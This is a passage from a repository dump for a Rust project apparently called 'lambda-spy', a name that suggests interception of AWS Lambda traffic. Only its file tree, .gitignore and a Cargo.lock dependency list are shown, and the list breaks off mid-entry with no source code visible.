├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── bootstrap.sh ├── build.sh ├── deploy.sh ├── img ├── 2022110801.cv.lambdaspy.png └── 2022110801.rapid.mitm.png └── src ├── cverror.rs ├── main.rs ├── mem.rs └── net.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | /build/ 5 | 6 | # These are backup files generated by rustfmt 7 | **/*.rs.bk -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "android_system_properties" 7 | version = "0.1.5" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" 10 | dependencies = [ 11 | "libc", 12 | ] 13 | 14 | [[package]] 15 | name = "async-stream" 16 | version = "0.3.3" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "dad5c83079eae9969be7fadefe640a1c566901f05ff91ab221de4b6f68d9507e" 19 | dependencies = [ 20 | "async-stream-impl", 21 | "futures-core", 22 | ] 23 | 24 | [[package]] 25 | name = "async-stream-impl" 26 | version = "0.3.3" 27 | source = "registry+https://github.com/rust-lang/crates.io-index" 28 | checksum = "10f203db73a71dfa2fb6dd22763990fa26f3d2625a6da2da900d23b87d26be27" 29 | dependencies = [ 30 | "proc-macro2", 31 | "quote", 32 | "syn", 33 | ] 34 | 35 | [[package]] 36 | name = "autocfg" 37 | version = "1.1.0" 38 | source = "registry+https://github.com/rust-lang/crates.io-index" 39 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 40 | 41 | [[package]] 42 | name = "bitflags" 43 | version = "1.3.2" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 46 | 47 | [[package]] 48 | name = "bumpalo" 49 | version = "3.11.1" 50 | source = "registry+https://github.com/rust-lang/crates.io-index" 51 | checksum = "572f695136211188308f16ad2ca5c851a712c464060ae6974944458eb83880ba" 52 | 53 | [[package]] 54 | name = "bytes" 55 | version = "1.3.0" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | checksum = "dfb24e866b15a1af2a1b663f10c6b6b8f397a84aadb828f12e5b289ec23a3a3c" 58 | 59 | [[package]] 60 | name = "cc" 61 | version = "1.0.78" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "a20104e2335ce8a659d6dd92a51a767a0c062599c73b343fd152cb401e828c3d" 64 | 65 | [[package]] 66 | name = "cfg-if" 67 | version = "1.0.0" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 70 | 71 | [[package]] 72 | name = "chrono" 73 | version = "0.4.23" 74 | source = "registry+https://github.com/rust-lang/crates.io-index" 75 | checksum = "16b0a3d9ed01224b22057780a37bb8c5dbfe1be8ba48678e7bf57ec4b385411f" 76 | dependencies = [ 77 | "iana-time-zone", 78 | "js-sys", 79 | "num-integer", 80 | "num-traits", 81 | "serde", 82 | "time", 83 | "wasm-bindgen", 84 | "winapi", 85 | ] 86 | 87 | [[package]] 88 | name = "codespan-reporting" 89 | version = "0.11.1" 90 | source = "registry+https://github.com/rust-lang/crates.io-index" 91 | checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e" 92 | dependencies = [ 93 | "termcolor", 94 | "unicode-width", 95 | ] 96 | 97 | [[package]] 98 | name = "core-foundation-sys" 99 | version = "0.8.3" 100 | source = "registry+https://github.com/rust-lang/crates.io-index" 101 | checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" 102 | 103 | [[package]] 104 | name = "cxx" 105 | version = "1.0.83" 106 | source = "registry+https://github.com/rust-lang/crates.io-index" 107 | checksum = "bdf07d07d6531bfcdbe9b8b739b104610c6508dcc4d63b410585faf338241daf" 108 | dependencies = [ 109 | "cc", 110 | "cxxbridge-flags", 111 | "cxxbridge-macro", 112 | "link-cplusplus", 113 | ] 114 | 115 | [[package]] 116 | name = "cxx-build" 117 | version = "1.0.83" 118 | source = "registry+https://github.com/rust-lang/crates.io-index" 119 | checksum = "d2eb5b96ecdc99f72657332953d4d9c50135af1bac34277801cc3937906ebd39" 120 | dependencies = [ 121 | "cc", 122 | "codespan-reporting", 123 | "once_cell", 124 | "proc-macro2", 125 | "quote", 126 | "scratch", 127 | "syn", 128 | ] 129 | 130 | [[package]] 131 | name = "cxxbridge-flags" 132 | version = "1.0.83" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "ac040a39517fd1674e0f32177648334b0f4074625b5588a64519804ba0553b12" 135 | 136 | [[package]] 137 | name = "cxxbridge-macro" 138 | version = "1.0.83" 139 | source = "registry+https://github.com/rust-lang/crates.io-index" 140 | checksum = "1362b0ddcfc4eb0a1f57b68bd77dd99f0e826958a96abd0ae9bd092e114ffed6" 141 | dependencies = [ 142 | "proc-macro2", 143 | "quote", 144 | "syn", 145 | ] 146 | 147 | [[package]] 148 | name = "fnv" 149 | version = "1.0.7" 150 | source = "registry+https://github.com/rust-lang/crates.io-index" 151 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 152 | 153 | [[package]] 154 | name = "futures-channel" 155 | version = "0.3.25" 156 | source = "registry+https://github.com/rust-lang/crates.io-index" 157 | checksum = "52ba265a92256105f45b719605a571ffe2d1f0fea3807304b522c1d778f79eed" 158 | dependencies = [ 159 | "futures-core", 160 | ] 161 | 162 | [[package]] 163 | name = "futures-core" 164 | version = "0.3.25" 165 | source = "registry+https://github.com/rust-lang/crates.io-index" 166 | checksum = "04909a7a7e4633ae6c4a9ab280aeb86da1236243a77b694a49eacd659a4bd3ac" 167 | 168 | [[package]] 169 | name = "futures-sink" 170 | version = "0.3.25" 171 | source = "registry+https://github.com/rust-lang/crates.io-index" 172 | checksum = "39c15cf1a4aa79df40f1bb462fb39676d0ad9e366c2a33b590d7c66f4f81fcf9" 173 | 174 | [[package]] 175 | name = "futures-task" 176 | version = "0.3.25" 177 | source = "registry+https://github.com/rust-lang/crates.io-index" 178 | checksum = "2ffb393ac5d9a6eaa9d3fdf37ae2776656b706e200c8e16b1bdb227f5198e6ea" 179 | 180 | [[package]] 181 | name = "futures-util" 182 | version = "0.3.25" 183 | source = "registry+https://github.com/rust-lang/crates.io-index" 184 | checksum = "197676987abd2f9cadff84926f410af1c183608d36641465df73ae8211dc65d6" 185 | dependencies = [ 186 | "futures-core", 187 | "futures-task", 188 | "pin-project-lite", 189 | "pin-utils", 190 | ] 191 | 192 | [[package]] 193 | name = "h2" 194 | version = "0.3.15" 195 | source = "registry+https://github.com/rust-lang/crates.io-index" 196 | checksum = "5f9f29bc9dda355256b2916cf526ab02ce0aeaaaf2bad60d65ef3f12f11dd0f4" 197 | dependencies = [ 198 | "bytes", 199 | "fnv", 200 | "futures-core", 201 | "futures-sink", 202 | "futures-util", 203 | "http", 204 | "indexmap", 205 | "slab", 206 | "tokio", 207 | "tokio-util", 208 | "tracing", 209 | ] 210 | 211 | [[package]] 212 | name = "hashbrown" 213 | version = "0.12.3" 214 | source = "registry+https://github.com/rust-lang/crates.io-index" 215 | checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" 216 | 217 | [[package]] 218 | name = "hermit-abi" 219 | version = "0.1.19" 220 | source = "registry+https://github.com/rust-lang/crates.io-index" 221 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 222 | dependencies = [ 223 | "libc", 224 | ] 225 | 226 | [[package]] 227 | name = "http" 228 | version = "0.2.8" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399" 231 | dependencies = [ 232 | "bytes", 233 | "fnv", 234 | "itoa", 235 | ] 236 | 237 | [[package]] 238 | name = "http-body" 239 | version = "0.4.5" 240 | source = "registry+https://github.com/rust-lang/crates.io-index" 241 | checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" 242 | dependencies = [ 243 | "bytes", 244 | "http", 245 | "pin-project-lite", 246 | ] 247 | 248 | [[package]] 249 | name = "httparse" 250 | version = "1.8.0" 251 | source = "registry+https://github.com/rust-lang/crates.io-index" 252 | checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" 253 | 254 | [[package]] 255 | name = "httpdate" 256 | version = "1.0.2" 257 | source = "registry+https://github.com/rust-lang/crates.io-index" 258 | checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" 259 | 260 | [[package]] 261 | name = "hyper" 262 | version = "0.14.23" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "034711faac9d2166cb1baf1a2fb0b60b1f277f8492fd72176c17f3515e1abd3c" 265 | dependencies = [ 266 | "bytes", 267 | "futures-channel", 268 | "futures-core", 269 | "futures-util", 270 | "h2", 271 | "http", 272 | "http-body", 273 | "httparse", 274 | "httpdate", 275 | "itoa", 276 | "pin-project-lite", 277 | "socket2", 278 | "tokio", 279 | "tower-service", 280 | "tracing", 281 | "want", 282 | ] 283 | 284 | [[package]] 285 | name = "iana-time-zone" 286 | version = "0.1.53" 287 | source = "registry+https://github.com/rust-lang/crates.io-index" 288 | checksum = "64c122667b287044802d6ce17ee2ddf13207ed924c712de9a66a5814d5b64765" 289 | dependencies = [ 290 | "android_system_properties", 291 | "core-foundation-sys", 292 | "iana-time-zone-haiku", 293 | "js-sys", 294 | "wasm-bindgen", 295 | "winapi", 296 | ] 297 | 298 | [[package]] 299 | name = "iana-time-zone-haiku" 300 | version = "0.1.1" 301 | source = "registry+https://github.com/rust-lang/crates.io-index" 302 | checksum = "0703ae284fc167426161c2e3f1da3ea71d94b21bedbcc9494e92b28e334e3dca" 303 | dependencies = [ 304 | "cxx", 305 | "cxx-build", 306 | ] 307 | 308 | [[package]] 309 | name = "indexmap" 310 | version = "1.9.2" 311 | source = "registry+https://github.com/rust-lang/crates.io-index" 312 | checksum = "1885e79c1fc4b10f0e172c475f458b7f7b93061064d98c3293e98c5ba0c8b399" 313 | dependencies = [ 314 | "autocfg", 315 | "hashbrown", 316 | ] 317 | 318 | [[package]] 319 | name = "itoa" 320 | version = "1.0.4" 321 | source = "registry+https://github.com/rust-lang/crates.io-index" 322 | checksum = "4217ad341ebadf8d8e724e264f13e593e0648f5b3e94b3896a5df283be015ecc" 323 | 324 | [[package]] 325 | name = "js-sys" 326 | version = "0.3.60" 327 | source = "registry+https://github.com/rust-lang/crates.io-index" 328 | checksum = "49409df3e3bf0856b916e2ceaca09ee28e6871cf7d9ce97a692cacfdb2a25a47" 329 | dependencies = [ 330 | "wasm-bindgen", 331 | ] 332 | 333 | [[package]] 334 | name = "lambda-extension" 335 | version = "0.8.0" 336 | source = "registry+https://github.com/rust-lang/crates.io-index" 337 | checksum = "5b9f8c47fddeba66e84eba496d0e58b1459169141e6a71790e6c465538c4a0da" 338 | dependencies = [ 339 | "async-stream", 340 | "bytes", 341 | "chrono", 342 | "http", 343 | "hyper", 344 | "lambda_runtime_api_client", 345 | "serde", 346 | "serde_json", 347 | "tokio", 348 | "tokio-stream", 349 | "tower", 350 | "tracing", 351 | ] 352 | 353 | [[package]] 354 | name = "lambda-spy" 355 | version = "0.1.0" 356 | dependencies = [ 357 | "hyper", 358 | "lambda-extension", 359 | "nix", 360 | "serde_json", 361 | "tokio", 362 | ] 363 | 364 | [[package]] 365 | name = "lambda_runtime_api_client" 366 | version = "0.7.0" 367 | source = "registry+https://github.com/rust-lang/crates.io-index" 368 | checksum = "7210012be904051520f0dc502140ba599bae3042b65b3737b87727f1aa88a7d6" 369 | dependencies = [ 370 | "http", 371 | "hyper", 372 | "tokio", 373 | "tower-service", 374 | ] 375 | 376 | [[package]] 377 | name = "libc" 378 | version = "0.2.138" 379 | source = "registry+https://github.com/rust-lang/crates.io-index" 380 | checksum = "db6d7e329c562c5dfab7a46a2afabc8b987ab9a4834c9d1ca04dc54c1546cef8" 381 | 382 | [[package]] 383 | name = "link-cplusplus" 384 | version = "1.0.7" 385 | source = "registry+https://github.com/rust-lang/crates.io-index" 386 | checksum = "9272ab7b96c9046fbc5bc56c06c117cb639fe2d509df0c421cad82d2915cf369" 387 | dependencies = [ 388 | "cc", 389 | ] 390 | 391 | [[package]] 392 | name = "lock_api" 393 | version = "0.4.9" 394 | source = "registry+https://github.com/rust-lang/crates.io-index" 395 | checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" 396 | dependencies = [ 397 | "autocfg", 398 | "scopeguard", 399 | ] 400 | 401 | [[package]] 402 | name = "log" 403 | version = "0.4.17" 404 | source = "registry+https://github.com/rust-lang/crates.io-index" 405 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 406 | dependencies = [ 407 | "cfg-if", 408 | ] 409 | 410 | [[package]] 411 | name = "memchr" 412 | version = "2.5.0" 413 | source = "registry+https://github.com/rust-lang/crates.io-index" 414 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 415 | 416 | [[package]] 417 | name = "memoffset" 418 | version = "0.7.1" 419 | source = "registry+https://github.com/rust-lang/crates.io-index" 420 | checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" 421 | dependencies = [ 422 | "autocfg", 423 | ] 424 | 425 | [[package]] 426 | name = "mio" 427 | version = "0.8.5" 428 | source = "registry+https://github.com/rust-lang/crates.io-index" 429 | checksum = "e5d732bc30207a6423068df043e3d02e0735b155ad7ce1a6f76fe2baa5b158de" 430 | dependencies = [ 431 | "libc", 432 | "log", 433 | "wasi 0.11.0+wasi-snapshot-preview1", 434 | "windows-sys", 435 | ] 436 | 437 | [[package]] 438 | name = "nix" 439 | version = "0.26.2" 440 | source = "registry+https://github.com/rust-lang/crates.io-index" 441 | checksum = "bfdda3d196821d6af13126e40375cdf7da646a96114af134d5f417a9a1dc8e1a" 442 | dependencies = [ 443 | "bitflags", 444 | "cfg-if", 445 | "libc", 446 | "memoffset", 447 | "pin-utils", 448 | "static_assertions", 449 | ] 450 | 451 | [[package]] 452 | name = "num-integer" 453 | version = "0.1.45" 454 | source = "registry+https://github.com/rust-lang/crates.io-index" 455 | checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" 456 | dependencies = [ 457 | "autocfg", 458 | "num-traits", 459 | ] 460 | 461 | [[package]] 462 | name = "num-traits" 463 | version = "0.2.15" 464 | source = "registry+https://github.com/rust-lang/crates.io-index" 465 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 466 | dependencies = [ 467 | "autocfg", 468 | ] 469 | 470 | [[package]] 471 | name = "num_cpus" 472 | version = "1.14.0" 473 | source = "registry+https://github.com/rust-lang/crates.io-index" 474 | checksum = "f6058e64324c71e02bc2b150e4f3bc8286db6c83092132ffa3f6b1eab0f9def5" 475 | dependencies = [ 476 | "hermit-abi", 477 | "libc", 478 | ] 479 | 480 | [[package]] 481 | name = "once_cell" 482 | version = "1.16.0" 483 | source = "registry+https://github.com/rust-lang/crates.io-index" 484 | checksum = "86f0b0d4bf799edbc74508c1e8bf170ff5f41238e5f8225603ca7caaae2b7860" 485 | 486 | [[package]] 487 | name = "parking_lot" 488 | version = "0.12.1" 489 | source = "registry+https://github.com/rust-lang/crates.io-index" 490 | checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" 491 | dependencies = [ 492 | "lock_api", 493 | "parking_lot_core", 494 | ] 495 | 496 | [[package]] 497 | name = "parking_lot_core" 498 | version = "0.9.5" 499 | source = "registry+https://github.com/rust-lang/crates.io-index" 500 | checksum = "7ff9f3fef3968a3ec5945535ed654cb38ff72d7495a25619e2247fb15a2ed9ba" 501 | dependencies = [ 502 | "cfg-if", 503 | "libc", 504 | "redox_syscall", 505 | "smallvec", 506 | "windows-sys", 507 | ] 508 | 509 | [[package]] 510 | name = "pin-project" 511 | version = "1.0.12" 512 | source = "registry+https://github.com/rust-lang/crates.io-index" 513 | checksum = "ad29a609b6bcd67fee905812e544992d216af9d755757c05ed2d0e15a74c6ecc" 514 | dependencies = [ 515 | "pin-project-internal", 516 | ] 517 | 518 | [[package]] 519 | name = "pin-project-internal" 520 | version = "1.0.12" 521 | source = "registry+https://github.com/rust-lang/crates.io-index" 522 | checksum = "069bdb1e05adc7a8990dce9cc75370895fbe4e3d58b9b73bf1aee56359344a55" 523 | dependencies = [ 524 | "proc-macro2", 525 | "quote", 526 | "syn", 527 | ] 528 | 529 | [[package]] 530 | name = "pin-project-lite" 531 | version = "0.2.9" 532 | source = "registry+https://github.com/rust-lang/crates.io-index" 533 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" 534 | 535 | [[package]] 536 | name = "pin-utils" 537 | version = "0.1.0" 538 | source = "registry+https://github.com/rust-lang/crates.io-index" 539 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 540 | 541 | [[package]] 542 | name = "proc-macro2" 543 | version = "1.0.47" 544 | source = "registry+https://github.com/rust-lang/crates.io-index" 545 | checksum = "5ea3d908b0e36316caf9e9e2c4625cdde190a7e6f440d794667ed17a1855e725" 546 | dependencies = [ 547 | "unicode-ident", 548 | ] 549 | 550 | [[package]] 551 | name = "quote" 552 | version = "1.0.21" 553 | source = "registry+https://github.com/rust-lang/crates.io-index" 554 | checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179" 555 | dependencies = [ 556 | "proc-macro2", 557 | ] 558 | 559 | [[package]] 560 | name = "redox_syscall" 561 | version = "0.2.16" 562 | source = "registry+https://github.com/rust-lang/crates.io-index" 563 | checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" 564 | dependencies = [ 565 | "bitflags", 566 | ] 567 | 568 | [[package]] 569 | name = "ryu" 570 | version = "1.0.11" 571 | source = "registry+https://github.com/rust-lang/crates.io-index" 572 | checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09" 573 | 574 | [[package]] 575 | name = "scopeguard" 576 | version = "1.1.0" 577 | source = "registry+https://github.com/rust-lang/crates.io-index" 578 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 579 | 580 | [[package]] 581 | name = "scratch" 582 | version = "1.0.2" 583 | source = "registry+https://github.com/rust-lang/crates.io-index" 584 | checksum = "9c8132065adcfd6e02db789d9285a0deb2f3fcb04002865ab67d5fb103533898" 585 | 586 | [[package]] 587 | name = "serde" 588 | version = "1.0.151" 589 | source = "registry+https://github.com/rust-lang/crates.io-index" 590 | checksum = "97fed41fc1a24994d044e6db6935e69511a1153b52c15eb42493b26fa87feba0" 591 | dependencies = [ 592 | "serde_derive", 593 | ] 594 | 595 | [[package]] 596 | name = "serde_derive" 597 | version = "1.0.151" 598 | source = "registry+https://github.com/rust-lang/crates.io-index" 599 | checksum = "255abe9a125a985c05190d687b320c12f9b1f0b99445e608c21ba0782c719ad8" 600 | dependencies = [ 601 | "proc-macro2", 602 | "quote", 603 | "syn", 604 | ] 605 | 606 | [[package]] 607 | name = "serde_json" 608 | version = "1.0.91" 609 | source = "registry+https://github.com/rust-lang/crates.io-index" 610 | checksum = "877c235533714907a8c2464236f5c4b2a17262ef1bd71f38f35ea592c8da6883" 611 | dependencies = [ 612 | "itoa", 613 | "ryu", 614 | "serde", 615 | ] 616 | 617 | [[package]] 618 | name = "signal-hook-registry" 619 | version = "1.4.0" 620 | source = "registry+https://github.com/rust-lang/crates.io-index" 621 | checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0" 622 | dependencies = [ 623 | "libc", 624 | ] 625 | 626 | [[package]] 627 | name = "slab" 628 | version = "0.4.7" 629 | source = "registry+https://github.com/rust-lang/crates.io-index" 630 | checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef" 631 | dependencies = [ 632 | "autocfg", 633 | ] 634 | 635 | [[package]] 636 | name = "smallvec" 637 | version = "1.10.0" 638 | source = "registry+https://github.com/rust-lang/crates.io-index" 639 | checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" 640 | 641 | [[package]] 642 | name = "socket2" 643 | version = "0.4.7" 644 | source = "registry+https://github.com/rust-lang/crates.io-index" 645 | checksum = "02e2d2db9033d13a1567121ddd7a095ee144db4e1ca1b1bda3419bc0da294ebd" 646 | dependencies = [ 647 | "libc", 648 | "winapi", 649 | ] 650 | 651 | [[package]] 652 | name = "static_assertions" 653 | version = "1.1.0" 654 | source = "registry+https://github.com/rust-lang/crates.io-index" 655 | checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" 656 | 657 | [[package]] 658 | name = "syn" 659 | version = "1.0.105" 660 | source = "registry+https://github.com/rust-lang/crates.io-index" 661 | checksum = "60b9b43d45702de4c839cb9b51d9f529c5dd26a4aff255b42b1ebc03e88ee908" 662 | dependencies = [ 663 | "proc-macro2", 664 | "quote", 665 | "unicode-ident", 666 | ] 667 | 668 | [[package]] 669 | name = "termcolor" 670 | version = "1.1.3" 671 | source = "registry+https://github.com/rust-lang/crates.io-index" 672 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 673 | dependencies = [ 674 | "winapi-util", 675 | ] 676 | 677 | [[package]] 678 | name = "time" 679 | version = "0.1.45" 680 | source = "registry+https://github.com/rust-lang/crates.io-index" 681 | checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" 682 | dependencies = [ 683 | "libc", 684 | "wasi 0.10.0+wasi-snapshot-preview1", 685 | "winapi", 686 | ] 687 | 688 | [[package]] 689 | name = "tokio" 690 | version = "1.24.2" 691 | source = "registry+https://github.com/rust-lang/crates.io-index" 692 | checksum = "597a12a59981d9e3c38d216785b0c37399f6e415e8d0712047620f189371b0bb" 693 | dependencies = [ 694 | "autocfg", 695 | "bytes", 696 | "libc", 697 | "memchr", 698 | "mio", 699 | "num_cpus", 700 | "parking_lot", 701 | "pin-project-lite", 702 | "signal-hook-registry", 703 | "socket2", 704 | "tokio-macros", 705 | "windows-sys", 706 | ] 707 | 708 | [[package]] 709 | name = "tokio-macros" 710 | version = "1.8.2" 711 | source = "registry+https://github.com/rust-lang/crates.io-index" 712 | checksum = "d266c00fde287f55d3f1c3e96c500c362a2b8c695076ec180f27918820bc6df8" 713 | dependencies = [ 714 | "proc-macro2", 715 | "quote", 716 | "syn", 717 | ] 718 | 719 | [[package]] 720 | name = "tokio-stream" 721 | version = "0.1.11" 722 | source = "registry+https://github.com/rust-lang/crates.io-index" 723 | checksum = "d660770404473ccd7bc9f8b28494a811bc18542b915c0855c51e8f419d5223ce" 724 | dependencies = [ 725 | "futures-core", 726 | "pin-project-lite", 727 | "tokio", 728 | ] 729 | 730 | [[package]] 731 | name = "tokio-util" 732 | version = "0.7.4" 733 | source = "registry+https://github.com/rust-lang/crates.io-index" 734 | checksum = "0bb2e075f03b3d66d8d8785356224ba688d2906a371015e225beeb65ca92c740" 735 | dependencies = [ 736 | "bytes", 737 | "futures-core", 738 | "futures-sink", 739 | "pin-project-lite", 740 | "tokio", 741 | "tracing", 742 | ] 743 | 744 | [[package]] 745 | name = "tower" 746 | version = "0.4.13" 747 | source = "registry+https://github.com/rust-lang/crates.io-index" 748 | checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" 749 | dependencies = [ 750 | "futures-core", 751 | "futures-util", 752 | "pin-project", 753 | "pin-project-lite", 754 | "tokio", 755 | "tower-layer", 756 | "tower-service", 757 | "tracing", 758 | ] 759 | 760 | [[package]] 761 | name = "tower-layer" 762 | version = "0.3.2" 763 | source = "registry+https://github.com/rust-lang/crates.io-index" 764 | checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" 765 | 766 | [[package]] 767 | name = "tower-service" 768 | version = "0.3.2" 769 | source = "registry+https://github.com/rust-lang/crates.io-index" 770 | checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" 771 | 772 | [[package]] 773 | name = "tracing" 774 | version = "0.1.37" 775 | source = "registry+https://github.com/rust-lang/crates.io-index" 776 | checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" 777 | dependencies = [ 778 | "cfg-if", 779 | "log", 780 | "pin-project-lite", 781 | "tracing-attributes", 782 | "tracing-core", 783 | ] 784 | 785 | [[package]] 786 | name = "tracing-attributes" 787 | version = "0.1.23" 788 | source = "registry+https://github.com/rust-lang/crates.io-index" 789 | checksum = "4017f8f45139870ca7e672686113917c71c7a6e02d4924eda67186083c03081a" 790 | dependencies = [ 791 | "proc-macro2", 792 | "quote", 793 | "syn", 794 | ] 795 | 796 | [[package]] 797 | name = "tracing-core" 798 | version = "0.1.30" 799 | source = "registry+https://github.com/rust-lang/crates.io-index" 800 | checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a" 801 | dependencies = [ 802 | "once_cell", 803 | ] 804 | 805 | [[package]] 806 | name = "try-lock" 807 | version = "0.2.3" 808 | source = "registry+https://github.com/rust-lang/crates.io-index" 809 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" 810 | 811 | [[package]] 812 | name = "unicode-ident" 813 | version = "1.0.5" 814 | source = "registry+https://github.com/rust-lang/crates.io-index" 815 | checksum = "6ceab39d59e4c9499d4e5a8ee0e2735b891bb7308ac83dfb4e80cad195c9f6f3" 816 | 817 | [[package]] 818 | name = "unicode-width" 819 | version = "0.1.10" 820 | source = "registry+https://github.com/rust-lang/crates.io-index" 821 | checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" 822 | 823 | [[package]] 824 | name = "want" 825 | version = "0.3.0" 826 | source = "registry+https://github.com/rust-lang/crates.io-index" 827 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" 828 | dependencies = [ 829 | "log", 830 | "try-lock", 831 | ] 832 | 833 | [[package]] 834 | name = "wasi" 835 | version = "0.10.0+wasi-snapshot-preview1" 836 | source = "registry+https://github.com/rust-lang/crates.io-index" 837 | checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" 838 | 839 | [[package]] 840 | name = "wasi" 841 | version = "0.11.0+wasi-snapshot-preview1" 842 | source = "registry+https://github.com/rust-lang/crates.io-index" 843 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 844 | 845 | [[package]] 846 | name = "wasm-bindgen" 847 | version = "0.2.83" 848 | source = "registry+https://github.com/rust-lang/crates.io-index" 849 | checksum = "eaf9f5aceeec8be17c128b2e93e031fb8a4d469bb9c4ae2d7dc1888b26887268" 850 | dependencies = [ 851 | "cfg-if", 852 | "wasm-bindgen-macro", 853 | ] 854 | 855 | [[package]] 856 | name = "wasm-bindgen-backend" 857 | version = "0.2.83" 858 | source = "registry+https://github.com/rust-lang/crates.io-index" 859 | checksum = "4c8ffb332579b0557b52d268b91feab8df3615f265d5270fec2a8c95b17c1142" 860 | dependencies = [ 861 | "bumpalo", 862 | "log", 863 | "once_cell", 864 | "proc-macro2", 865 | "quote", 866 | "syn", 867 | "wasm-bindgen-shared", 868 | ] 869 | 870 | [[package]] 871 | name = "wasm-bindgen-macro" 872 | version = "0.2.83" 873 | source = "registry+https://github.com/rust-lang/crates.io-index" 874 | checksum = "052be0f94026e6cbc75cdefc9bae13fd6052cdcaf532fa6c45e7ae33a1e6c810" 875 | dependencies = [ 876 | "quote", 877 | "wasm-bindgen-macro-support", 878 | ] 879 | 880 | [[package]] 881 | name = "wasm-bindgen-macro-support" 882 | version = "0.2.83" 883 | source = "registry+https://github.com/rust-lang/crates.io-index" 884 | checksum = "07bc0c051dc5f23e307b13285f9d75df86bfdf816c5721e573dec1f9b8aa193c" 885 | dependencies = [ 886 | "proc-macro2", 887 | "quote", 888 | "syn", 889 | "wasm-bindgen-backend", 890 | "wasm-bindgen-shared", 891 | ] 892 | 893 | [[package]] 894 | name = "wasm-bindgen-shared" 895 | version = "0.2.83" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "1c38c045535d93ec4f0b4defec448e4291638ee608530863b1e2ba115d4fff7f" 898 | 899 | [[package]] 900 | name = "winapi" 901 | version = "0.3.9" 902 | source = "registry+https://github.com/rust-lang/crates.io-index" 903 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 904 | dependencies = [ 905 | "winapi-i686-pc-windows-gnu", 906 | "winapi-x86_64-pc-windows-gnu", 907 | ] 908 | 909 | [[package]] 910 | name = "winapi-i686-pc-windows-gnu" 911 | version = "0.4.0" 912 | source = "registry+https://github.com/rust-lang/crates.io-index" 913 | checksum = 